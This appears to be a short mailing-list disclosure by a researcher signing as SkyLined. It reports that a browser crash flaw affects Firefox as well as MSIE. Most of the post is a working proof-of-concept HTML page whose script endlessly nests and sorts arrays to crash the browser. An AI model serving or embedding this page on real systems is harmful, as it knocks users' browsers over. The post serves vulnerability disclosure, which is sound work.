Hi all, Same flaw works for Firefox as well as MSIE: <HTML> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> </HTML> Added to the list: http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html I'd have loved to CC mozilla about this, but I didn't have the time to do the crash course "how to write a bug report" and go through all that bugzilla crap. Cheers, SkyLined http://www.edup.tudelft.nl/~bjwever